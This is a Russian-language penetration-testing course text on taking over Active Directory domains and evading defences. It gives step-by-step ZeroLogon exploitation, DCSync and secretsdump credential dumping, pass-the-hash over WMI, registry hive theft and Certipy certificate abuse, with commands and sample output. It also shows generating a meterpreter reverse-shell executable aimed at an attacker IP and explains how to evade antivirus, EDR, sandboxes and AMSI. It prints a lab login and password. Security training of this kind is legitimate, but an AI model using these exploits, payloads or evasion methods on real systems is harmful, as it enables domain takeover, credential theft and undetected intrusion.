сеть, отдельный именованный набор атрибутов, представляющий что-то конкретное, например, пользователя, принтер или приложение. Схема (Schema) — это описание классов объектов (различных типов объектов) и атрибутов для этих классов объектов. Для каждого класса объектов схема определяет атрибуты, которые должен иметь этот класс объектов, дополнительные атрибуты, которые он может иметь, и класс объектов, который может быть его родителем. Каждый объект Active Directory является экземпляром класса объекта. Каждый атрибут определяется только один раз и может использоваться в нескольких классах. Например, атрибут Description определяется один раз, но используется во многих различных классах. Домены — это объекты-контейнеры, или набор административно определенных объектов, которые имеют общую базу данных каталога, политики безопасности и доверительные отношения с другими доменами. Таким образом, каждый домен является административной границей для объектов. Один домен может охватывать несколько физических мест или сайтов, и содержать миллионы объектов. Дерево домена (Domain Tree) — состоит из нескольких доменов, которые имеют общую схему и конфигурацию, образуя непрерывное пространство имен. Домены в дереве также связаны между собой доверительными отношениями. Active Directory представляет собой набор из одного или нескольких деревьев. Лес (Forest) — это набор из одного или нескольких деревьев доменов, которые не образуют непрерывное пространство имен. Все деревья в лесу имеют общую схему, конфигурацию и глобальный каталог. Все деревья в данном лесу обмениваются доверием в соответствии с транзитивными иерархическими отношениями доверия Kerberos. В отличие от деревьев, лес не требует отдельного имени. Лес существует как набор объектов перекрестных ссылок и доверительных отношений Kerberos, распознаваемых входящими в него деревьями. Деревья в лесу образуют иерархию для целей доверия Kerberos. Имя дерева в корне дерева доверия относится к данному лесу. Доверительные отношения (Trust Relationship) — это отношения, установленные между двумя доменами, которые позволяют пользователям одного домена быть распознанными контроллером домена в другом домене. Доверительные отношения позволяют пользователям получать доступ к ресурсам в другом домене, а также позволяют администраторам управлять правами пользователей в другом домене. На уровне леса доверительные отношения создаются автоматически между корневым доменом леса и корневым доменом каждого дерева доменов, добавленного в лес, в результате чего между всеми доменами в лесу Active Directory существует полное доверие. Захват домена - получение уровня доступа управления контроллером домена из под учетной записи, которая имеет соответствующие права. **Способы захвата контроллер домена** - Эксплуатация уязвимости в контроллере домена. - Кража учетных данных, токенов и сессий привилегированных учетных записей. - Эксплуатация мисконфигураций сервисов в AD, предоставляющих доступ от имени привилегированных учетных записей. По умолчанию наивысшие права в домене имеет учетная запись из группы Enterprise Admins. Администраторы предприятия (Enterprise Admins) — это встроенная группа, находится в контейнере Users корневого домена леса, которая по умолчанию имеет административный доступ ко всем доменам в лесу. Enterprise Admins представляет полный доступ к конфигурации всех контроллеров домена. Существует очень мало задач, требующих использования учетной записи Enterprise Admins. Администраторы (Administrators) – находится в контейнере Builtin каждого домена. Эта группа имеет полный доступ ко всем контроллерам домена и данным в контексте именования домена. Она может изменять членство во всех административных группах домена, а группа Администраторы (Administrators) в корневом домене леса может изменять членство в группах Администраторы предприятия (Enterprise Admins), Администраторы Схемы (Schema Admins) и Администраторы домена (Domain Admins). Администраторы домена (Domain Admins) – находятся в контейнере Users каждого домена. Эта группа входит в группу Администраторы своего домена. Поэтому она наследует все полномочия группы Администраторы. Кроме того, она по умолчанию входит в локальную группу Администраторы каждого рядового компьютера домена, в результате чего администраторы домена получают в свое распоряжение все компьютеры домена. **Возможности групп Администраторов** Получив права доступа в одной из этих групп, мы можем управлять конфигурацией Домена или даже Леса. Мы можем получить доступ или изменить любые данные учетных записей, машин, сервисов и пр. А также управлять любой машиной в домене и любой учетной записью. Также можем выгрузить все секреты, ключи, хеши пользователей и пр. учетных записей из контроллера домена и пользоваться ими для создания токенов доступа или входа в машины. Для эксплуатации такой возможности зачастую используется утилита SecretsDump.py пакета Impacket, выполняющая атаку под названием DCSync Attack. **DCSync Attack** Разрешение DCSync подразумевает наличие таких разрешений на сам домен: DS-Replication-Get-Changes, Replicating Directory Changes All и Replicating Directory Changes In Filtered Set. Важные замечания о DCSync: Атака DCSync имитирует поведение контроллера домена и просит другие контроллеры домена реплицировать информацию с помощью протокола Directory Replication Service Remote Protocol (MS-DRSR). Поскольку MS-DRSR является действительной и необходимой функцией Active Directory, его нельзя отключить или деактивировать. По умолчанию только администраторы домена, администраторы предприятия, администраторы и группы контроллеров домена имеют необходимые привилегии. **SecretsDump** Утилита secretsdump выполняет атаку DCSync Attack и выполняет различные техники для извлечения хэшей с удаленной машины без выполнения на ней какого-либо агента. Для SAM и LSA Secrets (включая кэшированные учетные данные) утилита пытается прочитать как можно больше из реестра, затем сохраняет хэши в целевой системе (%SYSTEMROOT%\\\\\\Temp dir) и читает остальные данные оттуда. Для NTDS.dit: - Получает список пользователей домена и получает его хэши и ключи Kerberos, используя вызов \[MS-DRDS\] DRSGetNCChanges() , реплицируя только нужные нам атрибуты. - Извлекает NTDS.dit через vssadmin, выполненный с помощью smbexec. Он копируется на temp dir и разбирается удаленно. Пример выполнения команды: ``` python3 secretsdump.py test.local/john:password123@10.10.10.1 ``` Файл ntds.dit представляет собой базу данных, в которой хранится информация Active Directory, такая, как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене. # Пример захвата управления Есть доступ к машине с ОС Windows, задача — взломать контроллер домена, извлечь данные объектов домена и закрепить доступ в домене. **Ход действий** 1\. Проведем сканирование сервера с помощью nmap: ``` nmap -Pn -n -F -v --open 192.168.0.117 ``` Список портов типичен для контроллера домена: помимо стандартных для Windows портов SMB, MS-RPC и NetBIOS присутствует также DNS-сервер на порту 53, сервер используемого для авторизации в домене протокола Kerberos на 88 и протокол доступа к каталогам LDAP на 389. 2\. Попробуем определить версию DNS-сервера с помощью сканирования SMB-порта с помощью скриптов nmap: ``` nmap -Pn -n -p 445 -sV -sC -v --open 192.168.0.117 ``` Данная версия Windows Server, выполняющего роль контроллера домена, может быть подвержена ZeroLogon – уязвимости, позволяющей получить полный доступ к контроллеру домена без учетных данных. 3\. Используем средства Metasploit Framework для проверки сервера на эту уязвимость: ``` msfconsole msf6> search zerologon msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon ``` 4\. Указываем IP сервера и его NetBIOS имя, ранее полученное при сканировании nmap, проверим и запустим эксплуатацию: ``` msf6> set RHOSTS 192.168.0.117 msf6> set NBNAME DC1 msf6> check msf6> run ``` Данная техника эксплуатации приводит к установке пустого пароля машинного аккаунта контроллера домена, что может повлечь нарушение работы домена в целом. 5\. Для корректной эксплуатации нам нужно сначала получить учетные данные администратора домена, а затем, используя их, восстановить старый пароль машинного аккаунта. Используем для этого impacket — набор инструментов для работы с протоколами сетевого и прикладного уровня в Python, позволяющего взаимодействовать с Windows-сетями из Linux и вести тестирование их безопасности. ``` locate impacket ``` 6\. Ключевым инструментом на этом шаге будет secretsdump – скрипт, используемый для получения учетных данных с удаленных Windows-компьютеров или локальных файлов реестра. ``` python3 /usr/lib/python3/dist-packages/impacket/examples/secretsdump.py impacket-secretsdump -h ``` 7\. Используем secretsdump для получения NTLM-хэша администратора домена. Ключ -just-dc-user позволяет получить хэш нужного нам пользователя, -no-pass указывает на то, что пароль машинного аккаунта пустой, sandbox.local – имя домена, DC1$ - имя машинной учетной записи, а IP 192.168.0.117 – адрес контроллера домена. ``` impacket-secretsdump -no-pass -just-dc-user administrator 'sandbox.local/DC1$@192.168.0.117' ``` 8\. Для восстановления пароля машинной учетной записи нам необходимо вытащить его из реестра Windows, для чего мы можем подключиться к контроллеру домена с помощью инструмента wmiexec, который используется для выполнения команд на удаленной системе Windows через WMI (Windows Management Instrumentation). 9\. Укажем ранее полученный хэш администратора и проверим права после подключения: ``` $ impacket-wmiexec -hashes 'sandbox.local/administrator@192.168.0.117' C:\> whoami ``` 10\. Сохраним интересующие нас ветки реестра в отдельные файлы: ``` C:\> reg save HKLM\SYSTEM system.save C:\> reg save HKLM\SAM sam.save C:\> reg save HKLM\SECURITY security.save ``` 11\. Скачаем эти файлы на локальную машину: ``` C:\> lget system.save C:\> lget sam.save C:\> lget security.save ``` И удалим их: ``` C:\> del /f system.save security.save sam.save ``` 12\. Локально проанализируем эти файлы с помощью impacket-secretsdump: ``` impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL ``` 13\. Теперь, когда мы получили старый пароль машинного аккаунта из секретов LSA, мы можем вновь запустить эксплойт из msf, но уже в режиме восстановления пароля: ``` $ msfconsole msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon msf6> set RHOSTS 192.168.0.17 msf6> set NBNAME DC1 ``` 14\. Опции при этом останутся прежними, кроме двух новых: ACTION – выбора действия и PASSWORD – значения пароля машинного аккаунта в HEX и восстановим пароль: ``` msf6> set ACTION RESTORE msf6> set PASSWORD <$MACHINE.ACC hex password> msf6> run ``` 15\. Убедимся, что доступ сохранился: ``` $ impacket-wmiexec -hashes 'sandbox.local/administrator@192.168.0.117' ``` # Уязвимости Примеры уязвимостей - PrinterNightmare - [ZeroLogon](https://habr.com/ru/company/bizone/blog/526168/) - [SamAccountNameSpoofing](https://habr.com/ru/post/594923/) - [MS14-068](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068) - Drop The MIC (Во взаимодействии DC с DC) и пр. вплоть до MS17-010 **Zerologon** Zerologon — уязвимость CVE-2020-1472. Проблема Netlogon: вектор инициализации (IV), который должен был бы представлять собой случайное число, всегда состоит из одних нулей. Полный разбор эксплойта [тут](https://www.secura.com/uploads/whitepapers/Zerologon.pdf) **Эксплуатация** 1\. Сброс пароля при помощи [эксплойта](https://github.com/VoidSec/CVE-2020-1472): ``` python3 cve-2020-1472-exploit.py -n 'DC01$' -t 10.10.0.1 ``` 2\. Реализация атаки DCSync с пустым паролем: ``` python3 secretsdump.py -no-pass -just-dc 'domain.local/DC01$@10.10.0.1' ``` 3\. Получаем NT-хеш администратора с “относительным идентификатором” (relative identifier) RID 500 и используем его для получения доступа к управлению контроллером через WMI с помощью утилиты пакета Impacket: wmiexec.py: ``` python3 wmiexec.py -hashes 'domain.local/DC01$@10.10.0.1' ``` После успешного изменения пароля DC сервер Active Directory работает некорректно. Чтобы DC продолжал нормально работать, необходимо переустановить исходный хэш пароля. 4\. Создаем и скачиваем резервные копии реестра для восстановления пароля DC: ``` reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save lget system.save lget sam.save lget security.save del /f system.save del /f sam.save del /f security.save ``` 5\. Извлекаем пароль из извлеченных копий реестра: ``` python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL ``` 6\. Получаем пароль машины контроллера домена в строке: $MACHINE.ACC:plain\_password\_hex:b4d1.... 7\. И инсталлируем хеш машины обратно: ``` python3 reinstall_original_pw.py DC-01$ 10.10.0.1 b4d1…. ``` **Кража учетных данных, токенов и сессий привилегированных учетных записей** Распространен в сетях, незрелых с точки зрения ИБ. Пример Вы компрометируете машину в домене при помощи эксплойта и получаете доступ уровня NT Authority/System: 1. Вы извлекаете учетные данные, ключи и токены доступа из скомпрометированной машины. 2. Вы пытаетесь переиспользовать полученные доступы в рамках доступной вам сети, подключаясь с полученными данными к сервисам SMB, HTTP, MSSQL, RPC, WMI и пр. 3. Вы обнаруживаете прочие машины, на которые у вас есть доступ уровня локального администратора. 4. На скомпрометированных машинах вы вновь извлекаете учетные записи, секреты и токены доступа, уже новых для вас учетных записей. 5. Так вы повторяете шаги, пока не получите учетные данные кого-либо из групп: Administrators, Domain Admins, Enterprise Admins. 6. Как только вы получаете эти учетные записи, вы сможете получить доступ к контроллеру домена по WMI или SMB, или выполнить атаку DCSync. **Привилегированные группы** Есть группы, чьи привилегии позволяют нам получить доступ к группам первой тройки. - Group Policy Creators Owners - Account Operators - Schema Admins - Event Log Readers - Backup Operators - Remote Management Users - Server Operators - DnsAdmins [Подробности использования](https://activedirectorypro.com/privileged-accounts-active-directory/) # Сбор информации об объектах При таком подходе основное время уйдет на разведку в домене и энумерацию учетных записей. Важные данные при сборе информации: - Домен - Доменные политики - Домен контроллеры - Пользователи - Компьютеры - Группы - Групповые политики (GPO) - Организационная единица (OU) - Список управления доступом (ACL) - Доверительные отношения (Trusts) - Лес - Сессии пользователей - DNS **Энумерация сессий** При получении доменной учетной записи появится возможность обращаться к машинам в домене и узнавать, какие активные сессии находятся на машинах. Можно использовать netview пакета Impacket: ``` netview.py -target 192.168.1.10 username, где пароль необходимо будет ввести через строку ввода. ``` Выгрузка всех машин домена и получение информации о актуальных сессиях. ``` netview.py domain.local/username ``` Также извлекать информацию о сессиях на машинах в AD возможно при помощи фреймворка PowerSploit и утилиты PowerView: ``` Get-NetLoggedon -ComputerName Get-NetSession -ComputerName Get-LoggedOnLocal -ComputerName Get-LastLoggedon -ComputerName Get-NetRDPSession -ComputerName ``` **Сбор информации о пользователях и сессиях** Инструменты разведки в Active Directory Windows: - Ручной анализ: ADModule, PowerView, RSAT, ADExplorer, LdapAdmin, ADIDNSRecords - Автоматизированный анализ: ADExplorer, Bloodhound, ADRecon Linux: - Ручной анализ: ldapper, ldapsearch, windapsearch, rpcclient, adidnsdump, jxplorer, ldeep - Автоматизированный анализ: bloodhound-python, enum4linux, ldapdomaindump **BloodHound** [Ссылка на проект](https://github.com/BloodHoundAD/BloodHound) BloodHound использует теорию графов для выявления скрытых и часто непредусмотренных взаимосвязей в среде Active Directory или Azure. Пентестеры могут использовать BloodHound для легкого выявления очень сложных путей атаки, которые иначе невозможно было бы быстро определить. Защитники могут использовать BloodHound для выявления и устранения таких же путей атаки. Как "синие", так и "красные" команды могут использовать BloodHound для более глубокого понимания отношений привилегий в среде Active Directory или Azure. # Миссконфигурация сервисов в AD Например: - Вы взломали Linux машины, имеющую доступ в домен (это значит, что у нее есть машинная учетная запись в домене, и она хранится где-то в файловой системе). - С высокой долей вероятности этот файл с названием \*.ccache может лежать в папке /tmp/ или файл \*.keytab в папке /etc - Используя обнаруженный файл доменной машинной учетной записи, вы можете использовать его для атаки PassTheTicket и обратиться к какому либо из сервисов AD. - Вы можете получить доступ в ActiveDirectory через протокол LDAP и узнать, какая машина отвечает за сервис AD CS (Active Directory Certificate Services) или же, получив доступ в Windows машине, в домене выполнить команду: certutil -config - -ping, для получения списка Certificate Authority. - Далее, в случае некорректной настройки AD CS, вы можете, используя утилиту Certipy, попробовать выпустить себе сертификат по шаблону, который разрешает через аутентификацию клиента получателю сертификата указать произвольное альтернативное имя субъекта (SAN). - Таким образом, вы сможете выпустить сертификат на имя администратора домена и воспользоваться им для получения доступа уровня администратора на контроллере домена. **Certipy** [Certipy](https://github.com/ly4k/Certipy) предназначена для автоматизации процесса генерации и управления сертификатами и ключами шифрования в сетевых приложениях на языке Python. Она предоставляет набор инструментов для создания и управления сертификатами X.509, которые могут быть использованы для обеспечения безопасной передачи данных через сети, например, для шифрования трафика HTTPS. **Эксплуатация с Certipy** Запрос сертификата по шаблону создания сертификата для другого пользователя: ``` $ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 780 [*] Got certificate with multiple identifications     UPN: 'administrator@corp.local'     DNS Host Name: 'dc.corp.local' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_dc.pfx' ``` Запрос TGT и получение NT хеша с использованием полученного ранее сертификата: ``` $ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128 Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Found multiple identifications in certificate [*] Please select one:     [0] UPN: 'administrator@corp.local'     [1] DNS Host Name: 'dc.corp.local' > 1 [*] Using principal: dc$@corp.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'dc.ccache' [*] Trying to retrieve NT hash for 'dc$' [*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0 ``` Дополнительные ресурсы - [Pass The Hash](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement/alternate-authentication-material/wip-pass-the-hash) - [Lateral Movement](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement) - [Password Spraying](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/brute-force/password-spraying) # Практика Стенд: [WinServer2016.v2.7z](https://stepik-files.cyber-ed.space/WhiteHat/WinServer2016.v2.7z) (зеркала: [Яндекс.Диск](https://disk.yandex.ru/d/rjLvWsGxfAZ5YQ) и [OneDrive](https://cybered-my.sharepoint.com/:u:/g/personal/stepik_cyber-ed_ru/Ec8SnhWePZFNvpzZjdXm6OkB7HTh77HUUF3xuXZt6KCs3Q?e=MZYW3B)) Логин: master Пароль: Qwerty123 # Противодействие обнаружению # Общая информация Endpoint Detection & Response (EDR) — класс решений для обнаружения и изучения вредоносной активности на конечных точках, подключенных к сети рабочих станциях, серверах, устройствах Интернета вещей и так далее. В отличие от антивирусов, задача которых бороться с типовыми и массовыми угрозами, EDR-решения ориентированы на выявление целевых атак и сложных угроз. При этом EDR-решения не могут полностью заменить антивирусы (EPP), поскольку эти две технологии решают разные задачи. Endpoint Protection Platform (EPP) — комплексные защитные решения для конечных точек, в которые входит антивирус, технологии шифрования данных, технологии для отслеживания и устранения уязвимостей, контроля приложений и устройств и т.д. Security Information and Event Management (SIEM) — решения для сбора и автоматического анализа информации о событиях безопасности. Next Generation Firewall, межсетевой экран нового поколения (NGFW) — межсетевой экран для глубокой фильтрации трафика, интегрированный с IDS (Intrusion Detection System, система обнаружения вторжений) или IPS (Intrusion Prevention System, система предотвращения вторжений), и обладающий возможностью контролировать и блокировать трафик на уровне приложений. Intrusion Detection System (IDS) — система обнаружения вторжений, программный продукт или устройство, предназначенные для выявления несанкционированной и вредоносной активности в компьютерной сети или на отдельном хосте. Задача IDS — обнаружить проникновение киберпреступников в инфраструктуру и сформировать оповещение безопасности (функций реагирования, например блокировки нежелательной активности, в таких системах нет), которое будет передано в SIEM-систему для дальнейшей обработки. Песочница — специально выделенная (изолированная) среда для безопасного исполнения компьютерных программ. **Общие принципы** - Снижение активности в сети. Исключение сканирования или масштабного сканирования сети и работа только с прикладными легитимными протоколами и сервисами (LDAP, Kerberos, DNS, которые вы получаете напрямую из DNS записей домена). - Использование шифрованных каналов связи с прикладными протоколами и только зашифрованная коммуникация с агентами / нагрузками в C&C. - Использование нагрузок, подготовленных к противодействию обнаружению средствами EPP и EDR (использование упаковщиков, исполнения в памяти, кастомизация нагрузок от обнаружения). **Обнаружение хакера** Решения активной защиты, которые занимаются обнаружением хакерской или прочей аномальной активности в сети: - IDS - IPS - NGFW - SIEM - EDR - EPP Нужно понимать, что подобные и прочие инструменты защиты умело используют только компании, в которых хорошо развита культура ИБ. Помимо подобных средств, которые хакер еще имеет возможность обойти, есть и средства более категоричные. Например, решения класса HoneyPot. **HoneyPot** Honeypot (с англ. — «горшочек с мёдом») — ресурс, представляющий собой приманку для злоумышленников. Задача Honeypot — подвергнуться атаке или несанкционированному исследованию, что впоследствии позволит изучить стратегию злоумышленника и определить перечень средств, с помощью которых могут быть нанесены удары по реально существующим объектам безопасности. Реализация Honeypot может представлять собой как специальный выделенный сервер, так и один сетевой сервис, задача которого — привлечь внимание взломщиков. Пример Honepot’а: веб-сервер, который не имеет имени и фактически никому не известен, не должен, соответственно, иметь и гостей, заходящих на него, поэтому все лица, которые пытаются на него проникнуть, являются потенциальными взломщиками. Honeypot собирает информацию о характере поведения этих взломщиков и об их способах воздействия на сервер. После чего специалисты по реагированию на инциденты разрабатывают и реализуют стратегии отражения атаки злоумышленника. **Команда реагирования на инциденты** Security Operation Center (SOC) — это центр управления безопасностью, где команда профессиональных аналитиков и инженеров работает в режиме 24/7 для обеспечения безопасности информационных систем и данных предприятия. Основной задачей SOC является мониторинг и обнаружение возможных кибератак, а также реагирование на них. Сотрудники SOC используют различные инструменты и технологии для обнаружения аномальных активностей в сети, в том числе системы регистрации и анализа журналов, инструменты сетевого мониторинга и системы обнаружения вторжений. **Пример работы SOC** Представим ситуацию, когда в компьютерной сети предприятия была обнаружена аномальная активность, указывающая на возможный случай компрометации данных. SOC может реагировать на такой инцидент следующим образом: - Определение и классификация угрозы: SOC аналитики начинают анализировать доступные журналы и логи, чтобы определить масштаб и характер возможной угрозы. Они могут использовать специальные инструменты для обнаружения и анализа аномалий, таких как системы обнаружения вторжений. - Быстрое реагирование: SOC инженеры могут немедленно заблокировать доступ к компьютерной системе, которая могла быть скомпрометирована, чтобы предотвратить дальнейшую утечку данных или вредоносную активность. - Расследование инцидента: команда SOC начинает расследование, чтобы выяснить, каким образом произошел инцидент и какие данные могли быть украдены или скомпрометированы. Это может включать в себя анализ журналов, обращение к другим участкам предприятия для выяснения, какие данные могли быть затронуты, а также сбор дополнительных фактов и доказательств. **Этапы реагирования SOC:** - Оповещение руководства: SOC руководство обычно своевременно информирует руководство предприятия. - Восстановление: SOC инженеры принимают меры для восстановления нарушенных систем и данных. - Документирование и анализ: после расследования и восстановления SOC инженеры и аналитики документируют произошедший инцидент и проводят анализ. # Подготовка и сравнение нагрузок **Подготовка нагрузок** При подготовке нагрузок есть необходимость использовать нагрузки и обертки для них с целью обхода их детектирования системами EPP и EDR, которые обнаруживают такие вредоносные программы и не дают им возможности запуститься. Есть 2 типа детектирования вредоносных нагрузок активными системами защиты: - Статический анализ - Динамический анализ **Статический анализ нагрузок** Статическое обнаружение нагрузок достигается путем пометки известных вредоносных строк и массивов байтов в двоичном файле или скрипте, а также извлечением информации из самого файла (например, описание файла, название компании, цифровые подписи, иконка, контрольная сумма и т.д.). Это означает, что при использовании известных общедоступных инструментов вас будет легче поймать, поскольку они, скорее всего, уже были проанализированы и помечены как вредоносные. Способы обхода статического анализа нагрузок Существует несколько способов обойти такое обнаружение: - Шифрование. Если вы шифруете двоичный файл, EPP не сможет обнаружить вашу программу, но вам понадобится какой-то загрузчик для расшифровки и запуска программы в памяти. - Обфускация. Иногда достаточно изменить некоторые строки в бинарном файле или скрипте, чтобы он прошел мимо EPP, но это может занять много времени, в зависимости от того, что именно вы пытаетесь замаскировать. - Самописный инструментарий. Если вы разработаете собственные инструменты, то в них не будет известных сигнатур зловредного ПО. В качестве системы для проверки успешности вашего решения можно использовать такие утилиты, как *[DefenderCheck](https://github.com/matterpreter/DefenderCheck) (Зеркало: [DefenderCheck Яндекс.Диск](https://disk.yandex.ru/d/sAzmJHJhDVIPEw) и [DefenderCheck.exe Яндекс.Диск](https://disk.yandex.ru/d/pBSCY1y7ZcRvCQ))* **Динамический анализ нагрузок** Динамический анализ — это когда средство защиты запускает ваш двоичный файл в "песочнице" и следит за вредоносной активностью (например, выполняет дампа памяти процессов LSASS или обращение к критически важным файлам и кустам реестра систем и т.д.). Динамический анализ обойти гораздо сложнее, но есть ряд способов, отличающихся креативностью. Ключевое, с чем мы пытаемся бороться при динамическом анализе нашего бинарного файла, это то, что в песочнице будет обнаружено действительное предназначение нашего файла через его поведение. Поэтому наша ключевая задача — определить, что наш файл был запущен и находится в песочнице, и скрыть всю возможную опасную активность, которая может быть определена. Рассмотрим ряд действенных приемов, которые могут быть применены для обхода детектирования: - Сон перед выполнением. Средствами защиты выделяется достаточно мало времени на анализ файлов, чтобы не прерывать рабочий процесс пользователя, поэтому использование длительного сна может нарушить анализ двоичных файлов. Проблема в том, что многие антивирусные песочницы могут просто пропустить функцию сна в зависимости от того, как она реализована. - Проверка ресурсов машины. Обычно песочницы имеют очень мало ресурсов для работы (например, < 2 ГБ RAM), иначе они могут замедлить работу машины пользователя. В проверке ресурсов возможно проявить творческий подход, например, проверять температуру процессора или даже скорость вращения куллера, движение пользовательской мыши - не все из возможных проверок будет реализовано в песочнице. - Проверки для конкретной машины. Если вы хотите нацелиться на пользователя, чья рабочая станция подключена к домену "domain.local", вы можете выполнить проверку домена компьютера на соответствие указанному вами домену, и, если домен не соответствует вашей цели, вы можете заставить вашу программу не переходить в активный режим. **Бесфайловое исполнение** Бесфайловые вредоносные программы — это вариант вредоносного программного обеспечения, связанного с компьютером, которое существует исключительно в виде артефактов в памяти компьютера, то есть в оперативной памяти. Такие программы не записывают никаких фрагментов своей деятельности на жесткий диск компьютера, что повышает ее способность обходить антивирусное программное обеспечение, которое включает в себя файловые белые списки, обнаружение сигнатур, проверку оборудования, анализ шаблонов, временные метки и т.д. Вредоносные программы этого типа предназначены для работы в памяти, поэтому их существование в системе длится только до перезагрузки системы. **Противодействие бесфайловому исполнению** В качестве противодействия бесфайловому исполнению были разработаны системы типа: AMSI (Anti-Malware Scan Interface). Функция AMSI интегрирована в следующие компоненты Windows: - User Account Control, или UAC (повышение уровня установки EXE, COM, MSI или ActiveX). - PowerShell (сценарии, интерактивное использование и динамическая оценка кода) - Windows Script Host (wscript.exe и cscript.exe) - JavaScript и VBScript - Макросы Office VBA Это позволяет антивирусным решениям проверять поведение скриптов, раскрывая их содержимое в незашифрованном и не замаскированном виде. Для обхода подобных решений используются: - Обфускация, - Патчинг в памяти - Отдельные трюки приостановки работы AMSI **Инструменты генерации нагрузок для обхода EPP и EDR** Существует множество инструментов для генерации нагрузок с применением механизмов обфускации, шифрования, замены системных вызовов, использования Proxy DLL и пр. Некоторые популярные примеры: - [Veil](https://github.com/Veil-Framework/Veil) — это инструмент, предназначенный для создания нагрузок metasploit, которые обходят обычные антивирусные решения. - [Freeze](https://github.com/optiv/Freeze) — это инструмент создания полезной нагрузки, используемый для обхода средств контроля безопасности EDR с целью скрытного выполнения шеллкода. Freeze использует множество методов не только для удаления EDR userland hooks, но и для выполнения шеллкода таким образом, чтобы обойти другие средства контроля конечных точек. - [SGN](https://github.com/EgeBalci/sgn) — это полиморфный двоичный кодер, предназначенный для наступательных целей безопасности, таких, как генерация статически недетектируемых двоичных полезных нагрузок. Он использует аддитивный цикл обратной связи для кодирования заданных двоичных инструкций, подобно LFSR. **Сравнение нагрузок** 1\. Подготовим нагрузку для запуска, используя msfvenom — классический инструмент Metasploit Framework, позволяющий генерировать исполняемые файлы из включенных в фреймворк полезных нагрузок. ``` $ mkdir check $ cd check ``` 2\. Сгенерируем exe-файл для 64-разрядной версии Windows с C2-агентом Meterpreter, осуществляющим обратное подключение к нашей машине: ``` $ msfvenom -p windows/x64/meterpreter_reverse_tcp -f exe LHOST=10.8.0.14 LPORT=4444 > loader.exe ``` 3\. Загрузим файл на VirusTotal и увидим, что он детектируется практически всеми AV-решениями, что естественно, так как этот фреймворк крайне популярен, и при генерировании полезной нагрузки не были применены какие-либо меры для защиты от детекта. Проведем аналогичный эксперимент с pupy rat: ``` >> gen -h >> gen -f client -A x64 -O windows -o loader-pu.exe $ cd /tmp/projects/default ``` Как видим, вердикты AV-решений поменялись, и уровень детектируемости незначительно снизился, так как этот фреймворк несколько менее популярен. 4\. Выберем другой формат текстовый — файл с кодом на Python: ``` >> gen -f pyinst -A x64 -O windows -o loader.py ``` Этот файл будет детектироваться очень слабо, так как требуемый для запуска этого файла интерпретатор Python встречается крайне редко на Windows-системах обычных пользователей и в корпоративной среде . Поэтому такой вид нагрузок почти не встречается в реальных атаках. # Увеличение скрытности **Снижение активности в сети** Этот принцип — один из самых простых с точки зрения технического исполнения, но в то же время является сложным из-за необходимости проявить креативность. Наша максимальная задача в этом процессе — не оставить возможности детектирования наших действий активными средствами защиты. **Шаги для снижения активности в сети:** - Исключить все возможные типы сканирования портов, так как этот процесс достаточно легко детектируется даже через сканирование портов на одном узле. - Перед обращением к какому-либо узлу сети продумывать, не попадем ли мы в HoneyPot, и почему выбранный нами узел — точно не HoneyPot. - Исключить совершение атак типа “Man in The Middle”. **Какие подходы могут помочь нам исследовать сеть и определиться в пути компрометации:** - Обращаться только к тем сервисам, с которыми работают пользователи в сети. - Исследовать DNS имена в трафике и в домене, пытаясь обнаружить наиболее интересные машины в сети. - Исследовать ARP запросы в сети, для того чтобы пассивно собирать информацию об участниках сети. - Обращаться к общедоступным ресурсам в домене. - При сканировании сервисов использовать подключение только к отдельным портам без флагов активного сканирования. **Примеры приемов по снижению активности в сети** 1\. Опросить DNS на предмет корневых доменных имен. > dig domain.local 2\. Опросить домен на предмет записей о сервисах в домене. > dig -t SRV \_gc.\_tcp.domain.local > dig -t SRV \_ldap.\_tcp.domain.local > dig -t SRV \_kerberos.\_tcp.domain.local > dig -t SRV \_kpasswd.\_tcp.domain.local 3\. Исследовать трафик сети на предмет широковещательного трафика: ARP, mDNS, LLMNR, NBTNS и пр. 4\. Попытаться обратиться к общедоступным ресурсам, типа почты, сервера LDAP, сервера, WPAD прокси. > dig -t MX domain.local > dig -t wpad.domain.local **Использование шифрованных каналов связи** Для того, чтобы активные средства защиты не могли обнаружить атакующий трафик и определить опасные конструкции в нем по сигнатурам, необходимо постоянно заботиться о том, чтобы наш трафик эксплойтов или команд невозможно было расшифровать. Если наша задача — применить эксплойт, то желательно работать только с применением шифрования трафика прикладных протоколов (например, используя SSL/TLS). Это могут быть такие протоколы, как: - HTTPS - SMB (только версии 3.1.1 и выше) - SMTP (только на порте 465 с использованием команды STARTTLS) - SSH Также критически важно использовать шифрованные каналы связи с взаимодействием с нагрузкой для контроля и выполнения команд. Для этого в фреймворке C&C необходимо использовать нагрузки с связью по каналам, использующим TLS. Например, в metasploit: ``` windows/meterpreter/reverse_https (В LHOST необходимо будет указывать доменное имя) windows/meterpreter/reverse_winhttps windows/meterpreter_reverse_https (нагрузка без стейджера) ``` # Ротация IP **The Onion Router (TOR)** Tor Browser (сокр. от англ. The Onion Router) — свободное и открытое программное обеспечение для реализации второго (V2) и третьего (V3) поколения так называемой луковой маршрутизации. Это система прокси-серверов, позволяющая устанавливать анонимное сетевое соединение, защищённое от прослушивания. Рассматривается как анонимная сеть виртуальных туннелей, предоставляющая передачу данных в зашифрованном виде. Луковая маршрутизация (англ. Onion routing) — технология анонимного обмена информацией через компьютерную сеть. Сообщения неоднократно шифруются и потом отсылаются через несколько сетевых узлов, называемых луковыми маршрутизаторами. Каждый маршрутизатор удаляет слой шифрования, чтобы открыть трассировочные инструкции и отсылать сообщения на следующий 